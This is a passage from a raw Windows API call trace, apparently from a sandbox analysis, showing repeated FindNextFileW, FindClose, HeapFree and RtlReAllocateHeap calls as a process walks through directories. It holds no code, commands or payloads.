lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0128.478] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.478] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.478] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.478] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0128.478] FindClose (in: hFindFile=0x3e5bfd8 | out: hFindFile=0x3e5bfd8) returned 1 [0128.478] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0128.480] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.480] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0128.480] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.481] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446aa18 | out: hHeap=0x510000) returned 1 [0128.481] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446aa18 | out: hHeap=0x510000) returned 1 [0128.481] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.482] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446aa18 | out: hHeap=0x510000) returned 1 [0128.482] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.482] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.483] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446aa18 | out: hHeap=0x510000) returned 1 [0128.483] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.483] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0128.484] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0128.484] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0128.484] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0128.484] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0128.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0128.485] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0128.495] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0128.495] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.496] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446aa18 | out: hHeap=0x510000) returned 1 [0128.496] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0128.893] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.893] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.896] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.896] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.896] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.896] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.897] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.897] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.897] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.897] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.897] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.898] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.898] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.899] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.901] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.901] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.902] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.902] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447aa20 | out: hHeap=0x510000) returned 1 [0128.904] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0128.904] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0128.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.904] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.904] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.906] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.907] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.907] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.908] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.909] FindNextFileW (in: hFindFile=0x3e5bd98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446aa18 | out: hHeap=0x510000) returned 1 [0128.910] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0128.911] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0128.911] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0128.914] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0128.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.917] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0129.138] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4446698, Size=0x4000) returned 0x4436e20 [0129.139] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4436e20, Size=0x8000) returned 0x4436e20 [0129.141] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4436e20, Size=0x10000) returned 0x4436e20 [0129.146] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4436e20, Size=0x20000) returned 0x448cf98 [0129.222] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x448cf98, Size=0x40000) returned 0x44acfa0 [0129.343] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0129.343] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.423] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0130.423] FindClose (in: hFindFile=0x3e5b998 | out: hFindFile=0x3e5b998) returned 1 [0130.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0130.423] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0130.423] FindClose (in: hFindFile=0x3e5bad8 | out: hFindFile=0x3e5bad8) returned 1 [0130.423] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0130.423] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.425] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0130.425] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.432] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0130.432] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0130.439] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.439] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.441] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.495] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.498] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.498] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.669] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.670] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.671] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.671] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.673] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0130.673] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.673] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0130.673] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.673] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0130.673] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.675] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0130.675] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0130.675] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0130.675] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0130.675] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0130.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0130.731] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0130.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0130.733] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0130.818] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0130.819] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0130.826] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0130.826] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0130.828] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0130.828] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0130.970] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x452ef40 | out: hHeap=0x510000) returned 1 [0130.970] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.971] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0130.971] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.971] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0130.971] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0130.973] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0130.973] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0131.005] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0131.005] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0131.025] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.025] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.027] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.027] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.030] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.034] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.034] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.041] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.047] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.047] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.051] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.051] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.056] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.056] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.245] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.246] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.246] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.248] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.249] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.250] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.250] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.251] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.253] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.254] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.255] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.260] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.260] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.262] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.263] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.265] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.265] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.267] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.267] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.269] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.269] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.272] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.272] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.275] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.278] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.278] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.281] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.281] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.387] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.387] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.388] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.390] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.390] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.391] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.391] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.393] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.393] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.394] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.394] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.395] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.395] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.396] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.396] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.398] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.398] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.399] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.399] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.573] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.576] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.578] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x454ef50 | out: hHeap=0x510000) returned 1 [0131.580] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0131.583] HeapFree (in: 